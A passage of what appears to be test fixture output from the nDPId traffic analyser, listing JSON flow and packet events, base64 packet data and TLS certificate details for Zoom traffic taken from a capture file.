VOyU0AkAAY7kCiG99jBGIh+VdDOgabIxgZ7wT8ILDqU2MftFgTalkBtnlix1nB\/A23lZT3vWYLmdiArSXVZkjjpjHARBVVYAUir7OAher\/0qd4RZHsRK0bdRd40NdKuLb6he5TPeCPCo8mDuK41gZM9CkQPeJav\/RaowvfOtYiwp3Pt5JvpmmLCPkYu++RhH8LKfsuAhqv9m2xv6wau3C0G\/6Ce0z3s3aPbA6HK2Vctbrn12ZNiektUI25iSiJW21\/fYcY723x0hBp7tRPZNdMSHZ3e4QkzjXfUGyEK\/6tGaySEj+yvSYd5DUN0izEz+KBtCx95g0jp0b9MCAwEAAaOCAzMwggMvMAwGA1UdEwEB\/wQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA4GA1UdDwEB\/wQEAwIFoDA4BgNVHR8EMTAvMC2gK6AphidodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkaWcyczEtMTAxMS5jcmwwXQYDVR0gBFYwVDBIBgtghkgBhv1tAQcXATA5MDcGCCsGAQUFBwIBFitodHRwOi8vY2VydGlmaWNhdGVzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMAgGBmeBDAECATB2BggrBgEFBQcBAQRqMGgwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzBABggrBgEFBQcwAoY0aHR0cDovL2NlcnRpZmljYXRlcy5nb2RhZGR5LmNvbS9yZXBvc2l0b3J5L2dkaWcyLmNydDAfBgNVHSMEGDAWgBRAwr0njsw0gzCiM9f7bLPwtCyAzjAdBgNVHREEFjAUggkqLnpvb20udXOCB3pvb20udXMwHQYDVR0OBBYEFK\/\/A+eqHnVNBj7T3SSRE7i2ztfYMIIBfgYKKwYBBAHWeQIEAgSCAW4EggFqAWgAdgCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAWm2XMJ0AAAEAwBHMEUCIGBxi3tQD8E7\/i5SW3PuSOWOtMDrbmlOuAQU+VSegUXXAiEAt51T+DldjWi8Ekq43+cZhUTmCceC5bgqC3HWUayeaD4AdgDuS723dc5guuFCaR+r4Z5mow9+X7By2IMAxHuJeqj9ywAAAWm2XMTxAAAEAwBHMEUCICiEIvES2m58Hqrdk1z6D\/VDBAWPZ6\/7XLmd4JXWkmvGAiEArZspf5lv\/3TS1cYqMEKKiFMPCaUjl39XIpCCbPMANBQAdgBElGUusO7Or8RAB9io\/ijA2uaCvtjLMbU\/0zOWtbaBqAAAAWm2XMe5AAAE"} +00821{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":286,"source":"zoom.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":6,"flow_first_seen":1569520471189,"flow_last_seen":1569520471255,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"109.94.160.99","src_port":54871,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoomfrn99mmr.zoom.us","ja3":"c51de225944b7d58d48c0f99f86ba8e6","ja3s":"ada793d0f02b028a6c840504edccb652","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02361{"flow_id":30,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":287,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":255530,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUXCFAADMGFiRtXqBjwKgBdQG71leHhd0UMPn7nIAQAAuAUAAAAQEICnYqi2wlnOJLAwBHMEUCICZBrYK+GGtVSdHk3b8VHsrDm6ajQ58z1O7BdEqHCXy2AiEAn6AYWb8PmQ7IhYNbHgI4gCM37GT4YnU97JyydhHs6SgwDQYJKoZIhvcNAQELBQADggEBALm3XxvmAxG3IkUdHT+Kg3Gdme1zrqEBmMm7KerxSo04mAO+wqNE7BtmMlulaHZ9Z4syCloedM1x96JrQ3t0boruQAhnOlvnmvFBfuohu9oncLnbTmv+52y6PnzVcU36zE+9\/mBRQN8g25Xi29P9pwEzguCY+ecBRzTK6h0Sl4TFrkhzrUqGeILBakJ5CWRPYRg+OU6qgFVG7kNWeqzV1lmJl0epG3dO3baTSwN2+1BadUhLIZWqpLM\/GrxissNVMDfzR5peJgNvGg7VI37Xda5xV4mPfc+vCRUICOcuM\/U9dzPYTXUnypGEFSXOhiu1g4jB4DBHpmqaaQxhC2IlsOwABNQwggTQMIIDuKADAgECAgEHMA0GCSqGSIb3DQEBCwUAMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTEwNTAzMDcwMDAwWhcNMzEwNTAzMDcwMDAwWjCBtDELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMuMS0wKwYDVQQLEyRodHRwOi8vY2VydHMuZ29kYWRkeS5jb20vcmVwb3NpdG9yeS8xMzAxBgNVBAMTKkdvIERhZGR5IFNlY3VyZSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALngyxDUr3a91JNi6zBkuIEIbMME2WIXji\/\/PmXPj85i5jxSHNoWRUtVq3hrY4NikM4PaWyZyBoUi0zMRTPqiNyeo68r\/oBhnXlXxM8u9D8wPF1H\/JoWvMM3lkFRjhFLVPgovtCMvvAwOB7zsCb4Zkdjbd5xJkePOEdT0UYdtOPcAOpFrL28cdmqbwDb280wOnlPX0xH+B3vW8LEnWA7sbJDkdikM07qs9YnT60liqXG9NXQpq50BWRXiLVEVdQtKjo++Li96TIKApRkxBY6UPFKrud5M68MIAd\/6N8EOcJpAmxjUvp3wRvIdIfIuZMYUFQ1S2lOvDvTSS4f3MHSUvsCAwEAAaOCARowggEWMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMB0GA1UdDgQWBBRAwr0njsw0gzCiM9f7bLPwtCyAzjAfBgNVHSMEGDAWgBQ6moUHEGcotu\/2vQVBbiDBlNoP3jA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkcm9vdC1nMi5jcmwwRgYDVR0gBD8wPTA7BgRVHSAAMDMwMQYIKwYBBQUHAgEWJWh0dHBzOi8vY2VydHMuZ29kYWRkeS5jb20vcmVwb3NpdG9yeS8wDQYJKoZIhvcNAQELBQADggEBAAh+bJMQyDi4lqmQS\/+hX08E72w+nIgGyVCPpnP3VzEbvrzkL9v4utNb4LTn5nliDgyi12pjczG19ahIpDsILaJdkNe0fCVPEVYwxLZEnXssneVe5u8MYaq\/5Cob7oSeuIN9wUPORKcTcA2R"} +02075{"flow_id":30,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":288,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":255548,"pkt_caplen":1282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1282,"pkt_l4_len":1248,"pkt":"KDc3AG3IEBMx8Tl2CABFAAT0XCJAADMGFwNtXqBjwKgBdQG71leHheK0MPn7nIAYAAsP4wAAAQEICnYqi2wlnOJLH\/TIE62DYNnYcqhzJB61rCIOyheJYlhEG6uJJQEAD83EG2LbUbTTD1Eqm\/S8c\/x2zjakzdnYLOqum\/UqspDRTXUYij+KQZAjfVtL\/qQDWJtGssNgYIP4fVBBzsKhkMO77wIv0hVU7kQV2Qqup4oz7bEtdjYm3ATrn\/dhHxXch2\/uRpYoraEmfQoJpy4Eo428+LwEMAEABIEwggR9MIIDZaADAgECAgMb5xUwDQYJKoZIhvcNAQELBQAwYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNDAxMDEwNzAwMDBaFw0zMTA1MzAwNzAwMDBaMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC\/cWII8fpZNPcbyRij94BJWOkigxOmxSBDATuE8eaFSZ8n6vaEG06gtNtwmMcyAbEFPgdO7vT6Ty9ZMCLnqxlWa+KAB\/zzFnWAOVF75fk1tnROqY2CE+S2P6kDg\/qivooVan\/eC8O2GRQFyurDqASUO0Z8Mg3zAGYiyI1pbTaMERi307IcYLQ4+gKMztPdRgfeCj7rXXzIfPuwK1OkkmJpUSUFYRpEgYwsqUOWI9+sOoGaDinFHKnpXR62np4wCjnO8YiA+0tdzDLshWJDJTQCVicBkbQ7cCo\/brHonIgBfZ\/U+dtTbWCdvyznWKu4X0b8zsQbAzwJ60kxXGlGs+BHAgMBAAGjggEXMIIBEzAPBgNVHRMBAf8EBTADAQH\/MA4GA1UdDwEB\/wQEAwIBBjAdBgNVHQ4EFgQUOpqFBxBnKLbv9r0FQW4gwZTaD94wHwYDVR0jBBgwFoAU0sSw0pHUTBFxs2HLPaH+3ahq1OMwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5nb2RhZGR5LmNvbS8wMgYDVR0fBCswKTAnoCWgI4YhaHR0cDovL2NybC5nb2RhZGR5LmNvbS9nZHJvb3QuY3JsMEYGA1UdIAQ\/MD0wOwYEVR0gADAzMDEGCCsGAQUFBwIBFiVodHRwczovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMA0GCSqGSIb3DQEBCwUAA4IBAQBZC1O9koYRpyR77Vsxzx0fbHDFuG6+Trv2vpdQ4TB\/uihcYpTC434z9\/tCdoXblRyMIlh1CQyIZWc5ChYJxaA4l6TFI5M\/tBimAQZEkeOnaSe0WiV\/Orcyzd2E\/yo4KTOk3Weyhf6hiCAcUInI3Cr2QgM3TOaI39WvJPKxw9\/MtezgmV63SVQgPJQYDMccUhhJpG3hs1gLydjs2a4cMo4ocA3i\/qYXng=="} +00422{"flow_id":30,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":289,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":255582,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGauXAqAF1bV6gY9ZXAbsw+fuch4XitIAQD9IeiQAAAQEICiWc4mx2Kots"} +00423{"flow_id":30,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":290,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":255585,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGauXAqAF1bV6gY9ZXAbsw+fuch4XndIAQD6wZ7wAAAQEICiWc4mx2Kots"} +02367{"flow_id":30,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":291,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":266033,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUXCNAADMGFiJtXqBjwKgBdQG71leHhed0MPn7nIAQAAsyKgAAAQEICnYqi3glnOJLhA+9V3CzWukfoIZTu+98\/2kL4EjDt5MLyApUxKxdFGc3bMqlLzEIN6pub4y8m+JXXSSBr5eXnIStbKw3TGbzYZERIOS+MJ96pCkJsOE0X2R3GEBR34wwpq8ABAQwggQAMIIC6KADAgECAgEAMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAlVTMSEwHwYDVQQKExhUaGUgR28gRGFkZHkgR3JvdXAsIEluYy4xMTAvBgNVBAsTKEdvIERhZGR5IENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQwNjI5MTcwNjIwWhcNMzQwNjI5MTcwNjIwWjBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEA3p3X6lcYSaFb69dfSIbqvt3\/5O9nHPRlaLNXcaBed7vtm0npcIA9VhhjCG\/a8szQP38CVCJUENiygdTAdT1Lf8d3wz54qxoDtSBrL2orscWIfsS7HrDB2EUnb6o3WPeHJtfYLfapF7cfcjZOphc\/ZZiS2ypuXaL+iOAL3n\/ljRXh68s61eISohMt2I6vXxI9oAgFCLZcpWU4BEWZHqNgYHTFQaVyYhtixR9vXxpCvgJRZaiuIxhq\/HgDqU1\/gMP6q1r8oUCkyhkW\/rLI715zDe53vZr2eZi8sQdnohUN3aBYxkR7Cj5iKF+6QQdTWM8Rfjh0xfj\/tWmQj4R06pcbrwIBA6OBwDCBvTAdBgNVHQ4EFgQU0sSw0pHUTBFxs2HLPaH+3ahq1OMwgY0GA1UdIwSBhTCBgoAU0sSw0pHUTBFxs2HLPaH+3ahq1OOhZ6RlMGMxCzAJBgNVBAYTAlVTMSEwHwYDVQQKExhUaGUgR28gRGFkZHkgR3JvdXAsIEluYy4xMTAvBgNVBAsTKEdvIERhZGR5IENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHmCAQAwDAYDVR0TBAUwAwEB\/zANBgkqhkiG9w0BAQUFAAOCAQEAMkvzsso+kfwSxqEHjI53oDMGFFyQHhj3CKY9Chn5h4ARbmnklhcw\/zSRY3I47swcAaMdlCikMfZ6xFTX9uUxWAOizM5i25RFc7W\/RckktdWCAq0jeWmNuLZNzs9MyjMj6ByIqp2LQW4WySDliZ7NO9pw936ZJiAUVCWrbnOF5pshnQpsgg6o+MIM+hAebJbvhw3ED2GLre6DK5X4jpKEcjnrIOqD7YPNl24IvOtOJrZzK+TT9kz+JnHiYRF0Sv9XGocPdUguz1FpF6ACEmGV1dFAshBM7sSsEEOmpZ4K1ZVimg3PiILFMgzkK59F5g2fKJyxuSpaV603D68df9u9nxYDAwFNDAABSQMAF0EE1V1FG3pM82OA4nonjxHs5dPtJhO4dtGEktUcDtx2yP+E8B04x6GsF8TBwX5MdUo82uXW74bz2ktoSkegzvAS+AYBAQCincrIZTsMu4FJVs\/xMymu6yMcfuuCODSLejJtsmlhF9o+34BbmCJCTO8LUmoKMWDDOcpT8UU5Qt0peChjjHoBuz98BBBoGkhTRZdYJ7AixZgqdDai1p8Ft+52\/w70qIHKBe9t\/RJP72n\/zt9J7ch1XEfgL8kCIhuMdtckQAjL\/4iLbewgStZLEYiQRvUml61Oi4ePwR668h5JkkXfkXu7lIhaFYo5EnQzc1XsbPrqYyiQi7WIuutlqi5bkgIkC1EFrlyNwO4uBtYb9uJ0ozGumln3mGG3ktfTSp1r9O1aLa9\/AUAhJAvO1grLySlK"} +01145{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":291,"source":"zoom.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":11,"flow_first_seen":1569520471189,"flow_last_seen":1569520471266,"flow_tot_l4_data_len":6425,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"109.94.160.99","src_port":54871,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoomfrn99mmr.zoom.us","server_names":"*.zoom.us,zoom.us","ja3":"c51de225944b7d58d48c0f99f86ba8e6","ja3s":"ada793d0f02b028a6c840504edccb652","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=Arizona, L=Scottsdale, O=GoDaddy.com, Inc., OU=http:\/\/certs.godaddy.com\/repository\/, CN=Go Daddy Secure Certificate Authority - G2","issuerDN":"OU=Domain Control Validated, CN=*.zoom.us","fingerprint":"F7:5A:83:A8:77:24:55:D7:6D:2E:93:F6:6E:9C:C9:7E:AD:9B:3B:E8"}} +00460{"flow_id":30,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":292,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":266036,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"KDc3AG3IEBMx8Tl2CABFAABPXCRAADMGG6ZtXqBjwKgBdQG71leHhe0UMPn7nIAYAAtG1QAAAQEICnYqi3glnOJLaASPvDkBGJNXRyrXQW4fGpP\/FgMDAAQOAAAA"} +00423{"flow_id":30,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":293,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":266139,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGauXAqAF1bV6gY9ZXAbsw+fuch4XtL4AQD9IT+AAAAQEICiWc4nZ2Kot4"} +00597{"flow_id":30,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":294,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":326227,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAGamfAqAF1bV6gY9ZXAbsw+fuch4XtL4AYEACCygAAAQEICiWc4rF2Kot4FgMDAEYQAABCQQRtav\/youPvgbMOlTZbWhUadWdUc+khBzAxAYSh3\/4dLY8RzQm5gkl6qO1dhX1BgVTSfaxSQ0BKOCoY0mCnuio3FAMDAAEBFgMDACjfvjFi5KkllBvI+7Cp0Qv2O3oblZ+\/LJqwiPwy2zDRLfDFXQYDFeAn"} +00757{"flow_id":30,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":295,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":359888,"pkt_caplen":308,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":308,"pkt_l4_len":274,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEmXCVAADMGGs5tXqBjwKgBdQG71leHhe0vMPn8GoAYAAsyOAAAAQEICnYqi9clnOKxFgMDALoEAAC2AAABLACwxplF9Sei6R2h3tTFeKOp7c9tdQl7nXXCwIHwrGo\/y0oteE8idUPXzo9bsy4vEsH\/m4TyihiEe3qDYDX9XfPP\/ZZJbAnGIAUGmhmYYdnLA+YthN\/o5KBly1\/1Oqs25vUZuW0ylT\/bkX5tsjJKq0WHOCdtlxsHIoT2SJ\/e8cb3I4W9Xu0U2j3+YRXeHoucHIkOHH2lloauWWiPB6EvelDyZvQQjxWNd4Ytj+kLg5ODA9wUAwMAAQEWAwMAKD+2VqxYlb5tVmjWIfcJNJolo2XDt5QIiPLNdypN0P5OJQBRp7xBjVE="} +00491{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":302,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":399595,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"EBMx8Tl2KDc3AG3ICABFAABjAABAAEAGoUnAqAF1PpWYmdRFA+E5lpAkp\/QQcoAYEAA2VgAAAQEICiWc4viZh0dJFwMDACpAXTQxH2s8yyXvpDmREm16+\/VcNt\/x\/vlsIce1k7D8R+clMelpc+AJPCA="} +00467{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":306,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":535197,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"KDc3AG3IEBMx8Tl2CABFAABT5\/tAADUGHISnY9ekwKgBdRFS1k9+iDuqPj2JOYAYAQYOmQAAAQEICuHrh+ElnNAzFQMDABrdq1+2sZ7sanRDYUrN1AonZ6sa5xFE+MfQlg=="} +00422{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":307,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":535297,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+Z7AqAF1p2PXpNZPEVI+PYk5fog7yYAQEABJRQAAAQEICiWc437h64fh"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":386,"source":"zoom.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1569520471748,"flow_last_seen":0,"flow_tot_l4_data_len":115,"flow_min_l4_data_len":115,"flow_max_l4_data_len":115,"flow_avg_l4_data_len":115,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"109.94.160.99","src_port":58327,"dst_port":8801,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00540{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":748648,"pkt_caplen":149,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":149,"pkt_l4_len":115,"pkt":"EBMx8Tl2KDc3AG3ICABFAACHYY4AAEARSPnAqAF1bV6gY+PXImEAcwEfAQACfUZNNf\/9ojRJXQ1tO1HolgAAAAAAAAACAHoAKgB6ACoAAABADhc935YCXvuVxCQMI1O\/y\/Bgvpncu9jEece5cy1sdfpDYvCDXrg+TanGp+bzCbMeQN8Pa7V1aoQPcx2bwfanLQAAAAA="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":386,"source":"zoom.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1569520471748,"flow_last_seen":0,"flow_tot_l4_data_len":115,"flow_min_l4_data_len":115,"flow_max_l4_data_len":115,"flow_avg_l4_data_len":115,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"109.94.160.99","src_port":58327,"dst_port":8801,"l4_proto":"udp","ndpi": {"proto":"Zoom","breed":"Acceptable","category":"Video"}} +00440{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":395,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":780615,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA\/ukJAADURu4xtXqBjwKgBdSJh49cAK4mJAgABfUZNNf\/9ojRJXQ1tO1HolgBaDj4AegAqAAAAAAAAAAA="} +00414{"flow_id":31,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":396,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":780643,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":21,"pkt":"KDc3AG3IEBMx8Tl2CABFAAApukNAADURu6FtXqBjwKgBdSJh49cAFe6ZAwAAAAF2Ko10AFoOPgAAAAAA"} +00410{"flow_id":31,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":397,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":780865,"pkt_caplen":55,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":55,"pkt_l4_len":21,"pkt":"EBMx8Tl2KDc3AG3ICABFAAApkdQAAEARGRHAqAF1bV6gY+PXImEAFe2ZBAAAAAF2Ko10AFoOPg=="} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":398,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":784941,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00156{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":398,"source":"zoom.pcap","alias":"nDPId-test","type":34969} +00476{"flow_id":31,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":785584,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"EBMx8Tl2KDc3AG3ICABFAABbLTIAAEARfYHAqAF1bV6gY+PXImEAR1KdBQwBIY6cOSjESy+pAnBygi5W9gEABAEDAAAAAAAAAAEAAAAWZGF0YV9iaW5kX3JlcGxhY2VfZmxhZwIAAAAB"} +00450{"flow_id":31,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":400,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":816205,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"KDc3AG3IEBMx8Tl2CABFAABHulhAADURu25tXqBjwKgBdSJh49cAM1xgBQ0BIY6cOSjESy+pAnBygi5W9gEABAEDAAAAAAEAAAADcmlkAwAAAAAAAA=="} +01768{"flow_id":31,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":404,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520471,"pkt_ts_usec":829968,"pkt_caplen":1071,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1071,"pkt_l4_len":1037,"pkt":"KDc3AG3IEBMx8Tl2CABFAAQhumVAADURt4dtXqBjwKgBdSJh49cEDfjbBRUBAAAAAAAAADMBDf8AAHYqjaYAAAAD6AAAAAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB